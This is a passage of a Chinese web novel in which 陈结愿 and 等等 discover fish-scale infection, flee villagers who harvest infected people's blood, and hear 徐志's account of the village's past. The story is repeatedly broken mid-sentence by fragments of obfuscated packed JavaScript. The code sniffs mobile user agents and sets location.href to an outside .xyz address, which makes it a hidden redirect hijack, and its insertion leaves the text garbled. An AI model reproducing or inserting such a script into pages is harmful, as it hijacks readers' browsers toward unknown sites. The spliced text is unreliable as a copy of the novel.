等等原本白皙平滑的手臂上,长出了……细密的蓝色鱼鳞。 陈结愿脑内瞬间响起剧烈的嗡鸣声,在研究所里接触坎特雷拉的记忆不受控制地在她脑内回放。 滑腻、潮湿、海水腥咸的味道、空气中弥漫的血锈味…… 陈结愿胃里一阵翻江倒海,面色发白,不可置信地后退几步,放开了等等的手。 为什么等等的身上会有鲽族的鳞片?!35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181269|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陈结愿飞速在脑内检索回忆,找不出任何等等是鲽族的迹象。 肯定是有哪里搞错了,刚刚还在跟她说想要成为家人的等等怎么可能会是鲽族。 陈结愿几乎是第一时间就想到了那可疑的点心,村民一直劝她和等等吃下那些点心,自己却一口未动,说不定这长出鳞片就是食用点心的副作用。 她心跳骤然加快,跑到窗前撕下一块报纸,玻璃映出陈结愿此刻的样子——面色惨白,满面的冷汗将发丝凌乱地黏在脸侧。 与自己对视的瞬间,陈结愿瞬间脚底发软。 她的瞳孔不知何时变成了妖冶的宝蓝色,眸中散发出无机质的蓝光,与她记忆中坎特雷拉的瞳孔如出一辙。 她大脑一片混乱,脑海里各种声音杂糅在一起。 【你的敌人不该是我,陈结愿。】 【同伴,痛,不要,我们都不要。】 【姐姐?】 “姐姐!” 陈结愿回过神来,大口大口地喘息着,不由自主捏紧拳头,“我……没事。” 怎么可能没事,陈结愿大脑混乱到快要爆炸了。 但眼下的情况慌乱是大忌,在陈结愿搞清楚状况之前她至少不能再让等等陷入混乱当中。 她强行将自己的目光从等等胳膊上的鳞片挪走,深吸一口气,“这里待不下去了,我们跑吧。” 等等几乎是没有任何犹豫就点了头,而后面露难色,“要怎么跑?我们也没有钥匙……” 不等他说完,陈结愿咬牙,弯起胳膊倏然向后砸去! 一时间,玻璃碎片四处飞溅,有不少扎入陈结愿的皮肤,强行让她清醒了几分。 千万不能自乱阵脚,这说不定是村民的圈套,虽然不知道他们是如何做到让人类拥有鲽族特征的,但现在对他们来说最重要的不是搞清楚身体为什么会发生变化,而是逃出去。 等等似乎还没反应过来,整个人呆愣在原地,陈结愿不觉得有时间让他理清状况,抓上他,喊道:“跟着我,快,跑!” 语罢,陈结愿拽着等等跃出碎窗,身后响起村民撕心裂肺的叫喊声。 “你们看那里!原料跑出来了!!” “快站住不许动!你们现在停下以后还能好过一点。” 陈结愿拔腿就想跑,脚下传来一阵顿痛,陈结愿脚步一滞,难道是刚才跳出来的时候不小心扭到了。 没办法了,只能硬跑……嗯? 陈结愿脚下骤然一轻,整个人腾空而起,被等等抱在怀中,没有一丝一毫的反应时间,周围的景色迅速变化,等等正在抱着她狂奔。 “我可以跑。”陈结愿不习惯依赖别人,更何况等等还看不见。 那双圈着她的手臂却拢得更紧,轻柔的声音穿透呼啸的风声,直达陈结愿耳畔。 “这是姐姐瞒着我偷偷行动的惩罚。” 陈结愿不可置信地瞪大双眼。 然而下一秒,一道白影飞速擦过陈结愿的脸侧! 陈结愿目光一凛,顾不上反常的等等,翻身挣出他的怀抱,目光追向白影飞去的方向。 一把刀生生插入他们面前的树干,只要轨迹再偏离几厘米,陈结愿的头就会成为它的容器。 12. 第 12 章 身后脚步声逼近,陈结愿顾不上脚上的伤,几步跑到树干前,拔下刀,将等等拉至身后。 对面大概四五个人,全都是身形彪悍的壮汉,一脸势在必得。 陈结愿举刀,缓步向后,而后停住,在对面反应不及之时冲向他们之间! 出乎陈结愿的意料,脚下的伤并没有多影响她的行动,而是恰恰相反,陈结愿的速度竟比没受伤的时候还要快上一些。 村民们急忙闪开,却还是有闪躲不及被陈结愿用刀刃划伤了脸的,不可置信地抚上伤口,狠狠朝地下淬了一口,“给脸不要脸,本来还看在你好看的份儿上想让你……多活几天呢!”他怒吼出声,攥紧拳头打向陈结愿的脸,陈结愿只是稍微一个偏身就躲了过去,犹豫之下还是将刀翻了一面,刀背狠狠劈上那人的后背。 那人吃痛,倒在地上,其他人的攻击却还没有停止,陈结愿的肩膀被人抓住,她一把攥住那人的胳膊,动作利落地给了他一记过肩摔,而后果断踹向那人,明明陈结愿没怎么用力,那人却一下擦着地滑出去很远,陈结愿顿了一下,收回腿。 看着地上拉出长长的一条血迹,陈结愿有些怔愣,她没想伤人那么重的。 然而她还来不及愧疚,四周便又围上了人,陈结愿身上的伤还没好全,哪怕状态再好也受不了高强度的打斗,伤口已经隐隐有裂开的趋势。 她猛地下蹲,拉扯到身上的伤口,硬生生咽下痛哼,伸腿将他们扫倒在地,自己也一个脱力直接坐在了地上。 陈结愿闻到格外浓重的甜腻味道,眼前一阵天旋地转。 她背后传来湿润黏腻的触感,多半是伤口完全裂开了,刚才的一串动作将她的体力消耗了大半。她尝试发力站起来,踉跄了几下,没有成功。 还能站住的村民注意到她的状态,嘴角勾起一抹邪笑,抢过她手中的刀,“感染者就别挣扎了,为我们村献身也算你积德,下辈子投个好胎吧!”眼见刀刃就要挨上陈结愿的头,陈结愿明白自己没办法躲开,下意识闭上眼。 “哼唔。” 一声音色熟悉的痛哼将陈结愿拉回现实,几滴液体飞溅到陈结愿的脸上,也是一样的甜腻。 预想当中的疼痛并没有到来,陈结愿睫毛轻颤,缓缓睁开眼,惊呼出声:“等等!” 她整个人被等等拢在身下,等等的身形完全将她的视线占据,只有不断滴在陈结愿脸上的温热液体提醒着她现在的情况。 他哪里受伤了?!这傻子,那么弱小的身板还过来给她挡刀,直接逃走不就行了吗! 等等却是用力将她一推,陈结愿就这样被推到了村民攻击不到的地方,她扶住身边的树干,吃力地站起身来。 陈结愿视线四处乱转,最后停在脚边的一块石头上,她捡起石头,用尽全身力气抛向村民。 村民头被石块砸中,手一下子松了劲,刀“桄榔”一声掉在地上,等等顺势脱身跑向陈结愿。 陈结愿还没来得及说话,手就被等等拉住,跨出脚步,一起跑了起来。 陈结愿努力分散注意力缓解周身的剧痛。 村民说的话中有一些词语陈结愿很在意,“感染者”、“原料”……结合当时的情景来看,似乎都是对她和等等的称呼。 还有她的眼睛和等等的身上的鱼鳞,难道说她和等等都被感染了? 但“原料”又该如何解释,两个活生生的人怎么会是……陈结愿想到点心那透亮的红色和鼻尖满溢的甜味,一种不好的想法涌上心头。 身后传来村民的咒骂声,二人脚步一刻也不敢放缓,喘息之间,陈结愿看向等等的胳膊,长满鱼鳞的地方已经被刀砍得血肉模糊。 不知道是因为陈结愿实在是没有体力了还是其他原因,她眼前的光景格外模糊,唯独那一片艳丽的红依旧清晰扎眼。 不知跑了多久,陈结愿扭头看向身后,只剩下密密麻麻的树木,她也是一步都跑不动了,松开等等的手。 等等身形一顿,也跟着停了下来,依旧背对着陈结愿。 陈结愿看着他还在不断流血的手臂,果断扯下衣服上的一块布料缠在上面。 陈结愿替他包扎好,拉着他坐下,“休息一下吧,他们没有再追上来了。” 她垂眸,又补上了一句:“谢谢你,没有丢下我逃走……” 她大脑越来越昏沉,眼皮重得快要睁不开,说到后面越来越有气无力,意识逐渐模糊,渐渐闭上眼,身体不受控制地向等等倒去。 感受到腿上的重量,等等低头,“姐姐?” 他没得到回应,手抚上陈结愿的后背,而后猛地收回。 他将缠在脸上的白布解下,露出一双宝蓝色的瞳孔,神情复杂地看着陈结愿后背满溢的红。 他再看向胳膊上缠着的布料,可以说是包扎得十分笨拙,几乎勒得他手臂上的血液无法流通,染上淡淡的青色。 但他还是没有解开,深深地看了几眼之后又将眼睛蒙上,将陈结愿打横抱起。 陈结愿实在是太轻了,在等等怀中就像是羽毛一样轻飘飘的。 他怀里的人是如此脆弱,轻轻一碰就会给她留下伤痕,但她又是那么要强,用瘦弱的身躯一次又一次护住心怀鬼胎的自己,还说什么愿意成为他的家人…… 狡猾的骗子。 等到陈结愿悠悠转醒,太阳已经快要落山了。 她睁眼,眼前一片红色,猛地坐起来,视线不断聚焦,才发现那是燃烧的火堆。 原来不是等等的血……等等?等等呢?! “等……” 等等从她背后走出来,“你醒啦。” 陈结愿惊魂未定,缓缓吐出一口浊气,肩膀放松下来,观察起四周的情况。 似有似无的风夹杂着海洋的咸湿味,太阳半露在海面之上,绯色顺着天际蔓延。 等等在她旁边坐下,自顾自地说道:“姐姐晕倒了,我怕在同一个地方待太久会被村民们找来就走来了这里。” 陈结愿自嘲苦笑,自己还说不会嫌等等麻烦,现在看来倒是她给等等添了许多麻烦。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181270|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 如果他们可以活着回去,她一定要加倍补偿等等。 “我也不知道这里是哪,但走了挺长时间的,应该不会被他们轻易找到。” 陈结愿点头,“做得很好。” 但这也不代表他们就是安全的,陈结愿环视一圈,周围除了海就是森林,无法确认他们此刻的方位。 更何况……陈结愿看向脚底的沙滩,密密麻麻都是鲽族的鳞片。 陈结愿眯起眼睛,想到等等胳膊上的鳞片和村民的行为,这些真的全都是鲽族的鳞片吗? 还是说,这些鳞片来自所谓的“感染者”和“原料”。 她余光注意到等等忐忑的神情,他大概到现在都还没搞清楚状况,陈结愿站在他的视角想了一下,脑袋隐隐作痛。 醒来之后发现同行的人不在,着急地寻找最后发现她被关在茅草屋里,好不容易将人找到,回到房子里还没来得及睡觉就又和她一起被关住了,然后同行的人破窗而跑,不久前还对自己很和善的村民们发了疯一样地对自己展开攻击,受了很重的伤,还不得不带着伤一路逃跑…… 陈结愿最后还是决定将实情告诉等等。 等等一开始还会回应几句,后来越听越沉默,听到陈结愿说他胳膊上有鲽族鳞片的时候蓦然起身,手抚上受伤的胳膊。 陈结愿还想继续说,抬眼看向等等,硬生生闭上了嘴。 等等身体剧烈颤抖,脸上的血色消失殆尽,呼吸急促,手紧紧握着胳膊,指尖都有些泛白。 他后退几步,与陈结愿拉开距离,似乎下一秒就要转身逃跑。 陈结愿的心脏像是被一只大手攥住,哪怕之前她有被坎特雷拉影响的经验也无法很好地接受此刻自己身体的变化,更别说第一次经历这些的等等了。 他该有多慌乱,多害怕。 陈结愿起身,将他拥入怀中,尽可能用温柔的语气说道:“没事的,肯定会有办法解决,现在不要担心这些,我们先逃出去,好吗?” 等等仍在颤抖,陈结愿甚至可以清晰地感受到他心脏的鼓动。 过了好一会儿,等等才不再那么僵硬,心跳渐渐放缓,点了点头。 陈结愿放开他,目光却骤然一凛。 森林之中缓缓出现一个人影,身形十分健硕,陈结愿内心警铃大作,死死盯着逐渐清晰的人影。 终于,人影完全暴露在她的目光之中。 满面的鳞片、宝蓝色的双眸。 陈结愿呼吸一滞。 她记得这个人,她根本不可能忘记这个人。 陈结愿和等等在稻家村经历的一切可谓全是拜他所赐。 就是他抢走了等等手里的种子,将他们引导到悬崖边,导致他们落到稻家村的魔爪之中…… 那人走近,与陈结愿对上视线,也是一愣,眉眼弯出悲伤的弧度。 他说:“没想到我们还能再见面,而且还是在……同为感染者的情况下。” “我从稻家村里逃出来,应该给你们带来不少困扰吧。” 13. 第 13 章 陈结愿大脑彻底炸开。 同为感染者?逃出稻家村? 原来村民们说的出逃的原料就是他! 陈结愿目光犀利起来,摆出即将攻击的架势。 那人见陈结愿戒备成这样,后退几步,将双手举过头顶,讪笑道:“你难道不想知道稻家村的真相吗?” 陈结愿一愣,“你知道多少?” 他保持着双手举起头顶的姿势向前几步,陈结愿这次没有再打算攻击他,只是戒备地盯着他。 那人松了一口气,听声音大概四五十岁的样子,说话的时候脸上的鱼鳞挤在一起,看得陈结愿直犯恶心。 “我知道全部,因为我曾经就是稻家村的村民。”语罢,他看向陈结愿,“你长得很让我眼熟。” 陈结愿不想和他客套,冷冷瞥了他一眼。 结果他又说:“你是不是有个叫陈生的亲戚。” 陈结愿脸色陡然一变,上前几步抓上那人的脖颈,“你认识我父亲?” 那人听到“父亲”二字,怔愣地盯着陈结愿,眨了眨眼。 他喃喃道:“他还有个女儿啊,真好……” 陈结愿皱眉,大脑已经乱作一团,这个人居然认识她的父亲! 难不成父亲曾经也来过稻家村? 不知道出于什么目的,等等拉住了陈结愿的袖子,张了张嘴似乎要说些什么,但陈结愿还想发问,一时没来得及理会他。 然而那个人却没给她机会,自顾自地扒开陈结愿的手,“别激动,我和他也不算熟,只是被他救过一次。” “听听我的故事吧,应该会让你搞清楚一些状况。” 这人名叫徐志,如果陈结愿的父亲还活着,也比他大不了多少岁。 徐志说他生在稻家村,长在稻家村,在他年轻的时候污染还没有大范围扩散,这个世界还没有变成现在这样一片狼藉的样子,稻家村虽然生活不算富足,但人们自给自足也能做到怡然自乐。 稻家村因为地势刁钻和经济水平落后,很少有外乡人会来,所以当陈生来到稻家村的时候,他们村子的所有人都很激动,摆出来各种瓜果野味招待他。 徐志为他端来一盘小西红柿,十几岁的男孩根本压不住情绪,看向陈生的眼神都是亮晶晶的,他也不绕弯子,直接就问:“陈生哥,你是从哪来的?你来我们村儿干啥?外面好玩吗,是不是到处都是高楼大厦!” 他一边说,一边观察陈生的样子。 男人看起来刚刚二十岁出头,眉眼英气,戴着一副黑框眼镜,身上穿着并不讲究,只是简单的白T,却不显得随意,和简陋的小屋子格格不入。 陈生抬眼看向徐志,深邃的眉眼扫过徐志全身,徐志莫名有些害怕,咽了口唾沫,但因为实在好奇还是没有躲开。 陈生将目光移开,拿起一个小西红柿放在嘴里,眼睛弯了弯,刚才的侵略性荡然无存,“好吃。” 徐志瞬间就来劲了,直接抓住他的胳膊:“吃了我家小番茄就要回答我的问题!” 陈生轻笑几声,揽过他的肩,“我啊,其实是来拯救世界的。” 徐志眨眨眼,这人怎么这样啊,看着挺正经的,实际说起话来就把他当傻子了。 他的表情一下子就皱巴了,没好气地要收回那盘小西红柿。 陈生拦住他的手,“我没骗你,真的。外面确实有很多高楼,但很可惜,现在那里并不安全。” “等事情解决之后我倒是可以带你出去玩玩。” 徐志的注意点完全都在他后一句上了,根本没在意前一句,直接激动地从椅子上蹦了起来。 “你说真的!你可不许骗我!” 陈生哑然失笑,摇了摇头,没有再陪着他胡闹。 那之后徐志才从大人的嘴里得知,陈生是从外面的什么研究所里来的,农村人普遍知识水平都不高,就算陈生给他们认真解释自己的工作他们也听不懂,七一嘴八一嘴地添油加醋,最后传到徐志的耳朵里就变成了陈生是外面来的大学生,外面好像有什么水脏了,陈生是来研究怎么把水变干净的。 徐志更不解了,他好歹接受过义务教育,这不就是那什么净化水资源。 跟拯救世界有什么关系? 他又去趴到陈生的窗边,陈生见他来了,放下手里的笔打开窗户。 徐志一个翻身翻了进去。 “怎么?” “你骗我,什么拯救世界啊,不就净化水资源吗。” 陈生听完笑了,拍拍他的头,“你倒是上过学。” 徐志自豪地锤上胸脯,“那当然,我娘都说我是村子里最聪明的!”语罢,他意识到话题差点被扯开,继续追问,“所以这和拯救世界有啥关系,哪有这么严重。” 陈生眼神暗了暗,自言自语道:“但愿没那么严重。” 自那以后,他就很少有机会和陈生交流了。 他成天把自己关在屋子里,偶尔出去一趟也是到河边挑几桶水就又回去了,村民们除了给他送饭来几乎见不到他的人。 直到某一天,陈生突然火急火燎地跑出屋子,徐志怔愣地看着他冲劲了村里的广播室。 没过一会儿,大喇叭里传来陈生急促的声音。 “前天之后去河里打了水的村民,现在立刻、马上,放下你手里的水!水已经不干净了,赶快倒掉!” “不要抱有侥幸心理,一定要相信我的话,这水真的不能喝!” 村子里的大喇叭质量不好,又是老物件,哪里承受得住陈生这样对着喊,手指抓墙面般的噪音把陈生的声音包裹住,刺耳声阵阵,好多村民都捂上了耳朵。 徐志听着,心跳莫名加快,浑身上下都感到一股冷意,他看向母亲手里的水杯,“妈,要不还是别喝了?” 母亲斜了他一眼,“哪来那么多讲究,城里人娇气,喝点脏水都不行。你娘我可硬朗得很,喝两口水还能把我喝死吗?” 徐志找不到理由反驳,确实,人总不能不喝水吧。 他和陈生也说不上熟,远远不到无条件信任他的程度,因此也没太当回事,“这也太吵了,我去让陈生哥别再喊了。” 母亲一把将他拦下,“我看这人精神有点不正常,别管他了,你以后少跟他交流。 徐志犹豫片刻,最后还是被母亲拽着离开了。 离开之前,他看向身后的广播室,陈生站在窗沿前,怅然地与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181271|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐志对视。 徐志莫名心虚,很快移开了视线。 并没有多少人把陈生说的话当回事,大家依旧该吃吃该喝喝,徐志想了想,还是放心不下陈生,悄悄溜到他那里,透过窗户看他。 陈生看起来很疲惫,手里点着一支烟,也不抽,就单纯地让它燃着,眼神空落落的,不知道在想些什么。 一根烟快要燃尽,火星燎到陈生的手,他才回过神来,将烟踩灭,深吸一口气,转身从床底搬出一个行李箱。 徐志震惊,陈生哥这是要走了吗? 他一个没站稳,脑袋直直磕在窗户上,发出了不小的动静。 陈生猛地回头,将徐志整得一愣。 陈生是笑着的,笑得很好看,和他看着徐志笑的时候给人的感觉完全不一样。 他眉眼弯弯,周身的气场都变得柔和起来,脸上的疲惫一扫而空,嘴角高高扬起,却在看到徐志的时候陡然熄了火。 徐志撇嘴,捂上生疼的额头,“怎么这样啊!不想见到我是吗?!” 陈生眉眼不变,嘴角却是放下了一些,神情似乎有些失望。 “没,你怎么到这来了。” “我、我来关心关心你还不行吗,你今天受什么刺激了,怎么突然大喊大叫的。” 陈生苦笑,“你也不信我。” 他目光扫过徐志的嘴唇,“小嘴挺润的,喝了不少水吧。” 徐志涨红了脸,支支吾吾半天一句话也没说出来。 好在陈生并不打算追问,自顾自地继续说下去,“梁毅说的没错,确实是人各有命,一群犟种。”他顿了顿,又补充了一句,“虽然我没资格说别人犟。” “陈生哥,你拿行李箱干啥?你要走了?”徐志状似不经意的转移话题。 陈生深深看了他一眼,将目光转向自己的脖颈处。 陈生今天穿了一件低领的上衣,徐志顺着他的视线看去,才发现他戴了一条项链。 他平常穿的衣服领子都很高,徐志觉得新奇,不由得观察得仔细了一些。 项链很素,没有什么配饰,就是一条普普通通的银链,下面挂了个吊坠,徐志看向吊坠,眸光骤然一亮。 那吊坠有着非常漂亮的蓝色,但又不单纯是蓝,在光线下竟是能看出彩虹一样的绚丽色彩,形状像是鱼的鳞片,只是比普通的鳞片稍微大了点,一般的鳞片也没有这么好看。 徐志看愣了,“这坠子好漂亮啊,你是从哪里……”他情不自禁地想要上手去摸,手还没碰到吊坠,只听“啪”的一声,陈生竟是直接把他的手拍开了。 “别碰!” 徐志吃痛地收回手,哭诉道:“不给看就不给看嘛,你打人干什么!” 他抬头一看,陈生死死攥住吊坠,眼眶里眼球无所适从地乱转。 至于那么紧张吗? 徐志还没来得及发问,陈生就飞快地转过头去,不再看他。 陈生再开口,声音格外沙哑,语调冰冷:“我明天就会离开,你们好自为之。” 再然后,不论徐志怎么发问,陈生都没有再回应过他一句话。 徐志注意到他指节有些颤抖,按在吊坠上,隐隐泛白。 14. 第 14 章 徐志在陈生那里碰了一鼻子灰,整个人灰溜溜地回到了家。 他还是搞不明白陈生到底为什么那么激动。 自打陈生来到这里以来,他给人的印象总是很得体的,就算是听见了再冒犯的话也就是笑一笑,从来不跟任何人计较。 难道这水就那么邪门?喝了就会死人? 想到这里,徐志也感到有些口渴了,看向屋子里的水缸,一股不适感漫上心头,还是没有去喝。 “今儿个我这嘴怎么就那么渴呢,这都喝了多少水了。” 徐志听见母亲喃喃,回道:“水里不会真的有问题吧?” 母亲白了他一眼,舀上一杯水头也不回地走了,显然是不乐意和徐志废话。 徐志嘴角都快耷拉到地上了。 刚被陈生无视半天,回到家里亲娘还对自己翻白眼,人怎么能倒霉成这个样子。 徐志索性也不理他们了,带着一肚子气洗漱完躺在床上,想把这莫名其妙的一天尽快结束掉。 然而一向睡得天昏地暗的他今夜却是怎么也睡不着。 一股强烈的不安感一直在他心头蔓延,徐志翻了个身,侧身躺着让他更能感受到自己此刻心跳的不正常。 一下又一下,频率快得出奇,徐志的手间甚至渗出了虚汗。 他烦躁地挠头,从床上坐起身来,都怪陈生非得说些有的没的,现在他连觉都睡不好了。 反正都睡不着了,一直在床上打滚也没意思,徐志下了床,悄声溜了出去。 外面的景色却是叫他一愣。 和往常的昏暗不同,今夜的稻家村明显比之前明亮许多,但显然不是谁把路边早就该退休的灯修好了,要说为什么的话,因为这光的颜色属实是太过于诡异了。 土地上冒出无数星星点点的蓝光,聚集在一起,几乎一整片地皮都被蓝色的光晕覆盖。 徐志呼吸一滞,有些不可置信地捧起一把土,“好奇怪……” 徐志揉揉眼,再次睁开眼的时候蓝光消失殆尽,再看向手中的泥土,也没有什么怪异的地方。 他该不会是睡不着觉,都困出幻觉来了吧。 他打了个哈欠,又想到陈生那火急火燎地样子,嘀嘀咕咕地回房间去了。 这次大概是太困了,没过多久徐志就睡着了,然而他这一觉却也睡得并不安稳。 一大早院子里就传来霹雳乓啷的乱音,没过多久就把徐志吵醒了,他刚睡醒的时候脾气大,打开窗户就要骂街。 “大早上的谁那么缺……”话说到一半,声音越来越小,徐志瞪大眼睛看向面前的人。 那是他的母亲,但是……又好像不是他的母亲了。 她的胳膊上、大腿上,长满了蓝色的鱼鳞,原本漂亮的棕色瞳孔也变成了宝蓝色,不可置信地对着水缸中的自己看。 再看地上,已然是一片狼藉,母亲平日里最为珍惜的漂亮花瓶们都被她碰倒了,她此刻却是无暇在意这些,满脸慌乱。 听到徐志的声音,她猛地转头,“小志,小志你快看看娘,娘是不是眼花了?!” 徐志吞了口唾沫,艰难地吐出一句话:”娘,你的胳膊和眼睛……” 徐志母亲尖叫一声,又跑到屋内来照镜子,徐志被她吓得不敢吱声,一个劲的往角落里缩。 那么大的动静当然引来了其他村民的注意,没过多长时间,徐志家里就围满了人。 他们看见徐志母亲这幅样子都被吓得够呛,“哎呦,老徐家的,你妈这是怎么回事?” 徐志眉头紧皱,盯着他们,说不出一句话来。 “这好端端的身上怎么长了这么些个鱼鳞……” 徐志母亲此刻已然是泪流满面,徐志的父亲常年在外打工很少回来,此刻和她最亲近的人就是徐志,她条件反射地想到徐志的身边去寻求安全感。 徐志感受到母亲的靠近,僵硬得一动都不敢动。 村民们还在七嘴八舌地问着。 “这是不是啥皮肤病?你有什么症状啊?” “我、我不知道,我就是睡着觉,然后感觉身上很痒,睁眼一看,呜呜呜呜呜!” “应该是皮肤病吧,老徐媳妇儿你也别太忧心了,兴许过几天就好了呢。说起来我这后背也是,从昨儿夜里就痒痒……” “老王……你先别挠了,我看你这后背,怎么也像长了鱼鳞呢……” “呸呸呸!瞎说什么,我看你才是,打刚才我就没好意思说,我看你眼珠子也有点泛蓝!” “哎,小张身上是不是也有点……” 人群一下子炸开! 徐志此刻已是惊出了满头大汗,其他人的目光一开始就在他母亲身上或许注意不到,可徐志从他们一进门就发现了——这些人,有一大半身上也都不对劲。 徐志再也无法压抑心中的恐惧,大喊着闯出人群,又撞在一个人的胸膛上。 他抬头,心中一喜,像是看见了救星,“陈生哥!”而后他注意到陈生身后背着的包裹,连忙道,“你先别走,他们、他们这是怎么了,陈生哥你知道吗?” 陈生神情复杂地看着他,然后视线扫向屋内众人,最终还是垂眸,“我劝过你们的。” 劝过他们……什么劝过……是水! 陈生昨天那么着急地让大家不要喝水,就是因为他知道喝多了水之后会变成这样! 徐志颤颤巍巍地握上他的肩膀,语调急促:“现在怎么办?!这就是个小病不会死人的对吧,肯定能治对吧?!” 陈生后退一步,扒下徐志的手,转头看向院子里的庄稼,“你们拿水浇过了。” 徐志顺着他的视线看去,眼前一黑,无力地跌坐在地上。 庄稼已经全都枯死了。 “那一刻我就明白了,陈生哥也没办法,我娘、那些被感染了的人,都必死无疑,也就我还有为数不多的几个人听了陈生哥的话,水喝的不多,才逃过一劫,虽然最后还是感染了。”他语调随意,似乎在说一件和自己毫不相干的事。 陈结愿皱眉,陈生的话里信息量太大,她一时没办法理清。 也就是说,稻家村并非没有收到污染的影响,相反,污染给稻家村带来了十分大的打击。 可稻家村现在又为什么还是好好的? 她问:“照你这么说,稻家村应该早就全灭了才对,为什么到现在还好好的?你又为什么会被关住。” 徐志:“是差点全灭。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181272|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “陈生哥离开后,整个村子就乱套了,庄稼没了,水也不能喝,横竖都是一个死字。” “这苦日子,我娘实在是熬不下去,突然有一天就当着全村人的面插了自己一刀。” 陈结愿心下一惊。 徐志苦笑,“那时候真把大家伙给吓坏了。所有人都冲上去去看我娘的状况,刀插的很深,她早就没气了。然后有个小女孩,你们应该肯定熟……她叫阿桃。她发现我娘的血流过的地方,庄稼竟然又死而复生了。” “她还发现,那些被感染了的,看见我娘的血全都咽了口水。” 串起来了,一切都串起来了! 所以她和等等这几天吃的根本不是什么所谓的点心,是用徐志这样的感染者的血做出来的血冻! 阿桃一个劲的让他们吃血冻,其实是在测试他们有没有被感染,能不能为这个村子所用。 还有村民那么热情地招待他们,也只是把他们当成村子的后备资源,打算等他们成熟之后做成新的血冻…… 怪不得陈结愿没从村民的眼里见到对人的恶意,这根本不是因为他们好心,而是因为从吃下血冻的那一刻开始,她和等等在村民的眼里就已经不是人了。 他们看陈结愿,就像是普通人吃饭看筷子,只是工具。 谁会对工具抱有恶意。 一股寒意从陈结愿脚底直冲头顶,这些事大大超出了她对人性的认知。 以前在研究所里,陈结愿感受到的最大的人性恶也不过就是几个人聚在一起在背后说说她的坏话,暗地里给她使点绊子。 她想都没想过,居然有人可以自私到这样残害同胞! 陈结愿张口,语调沙哑:“那你也是……” “对,我算是村子里最晚被感染的那一波,我东躲西躲,好不容易跑出去了,半路遇见你们想着抢点吃的,结果居然又把自己给搭进去。多亏有个穿得乌漆嘛黑的把我放出来了,我才能活着再见到你们。”他说着,眼睛却看向陈结愿的身后。 等等默默往陈结愿背后缩了一步。 陈结愿蹙眉,护住等等。 穿得乌漆嘛黑的家伙,说的应该就是那晚在仓库和陈结愿对峙的人。 这么看来,他当时拦着自己说不好还真是为了帮她。 现在她是大概了解情况了,可徐志告诉她这些又是为了什么? 徐志似乎看出了她的疑惑,露出带着谄媚的笑脸,想要上去握住陈结愿的手。 陈结愿向后几步,眉头拧得更紧,她对徐志可还完全算不上信任。 徐志有些难堪地收回手,“你这点和你爹可真不像,你爹在多讨厌的人面前都装得跟没事人一样。” 陈结愿没好气地打断,“你很不礼貌。”擅自对别人的父亲评头论足。 徐志敛起不正经的样子,正色道:“我可以带你们出去,但你们要答应我一个条件,”他观察陈结愿的表情,见她没有明显的抗拒,继续说下去,“我要跟你们回研究所,让我打个杂工,养着我。” 这是一笔不错的买卖,陈结愿想,徐志作为感染者说不定还能给他们的实验提供一些有用的信息。 等等却突然大喊道:“不可以!” 15. 第 15 章 陈结愿疑惑地看向等等。 等等喊那一下似乎只是冲动,喊完之后自己也是一愣,支支吾吾半天,道:“我觉得还是不能轻易相信他,毕竟我们都不知道他的话是真是假,万一他和那些村民是同伙该怎么办?” 徐志目光转向等等,深深地看着,没说话。 陈结愿见两人之间的气氛逐渐焦灼起来,按住等等的肩膀,“他没理由骗我们,回村对他没有好处,至少这点我们可以相信他。” 等等闭上嘴,不再说话。 陈结愿叹了口气,看来这些事真的把等等吓得够呛,说话都有些不过脑子了。 她正色,跟徐志说麻烦他带路了。 徐志却是举起食指,放在陈结愿面前左右摇了摇,“不急,这里鱼多,我们先吃些东西。” 对啊,陈结愿突然意识到,他们之前不吃海里的生物是因为它们多少都含有鲽族的毒素,他们吃下就会丧命,可现在他们已经被感染了,这些鱼类的毒素按理说对现在的他们造不成影响。 可陈结愿从小就没抓过鱼,她看向等等,“你会抓鱼吗?” 等等摇摇头。 于是陈结愿就把目光转向了徐志,注意到徐志的目光还一动不动地粘在等等身上。 “徐志……叔,”她原本想直接叫名字,但想到这人好歹是父亲的旧识,还是尊重点为妙,“我们都没抓过鱼,还是麻烦您来吧。” 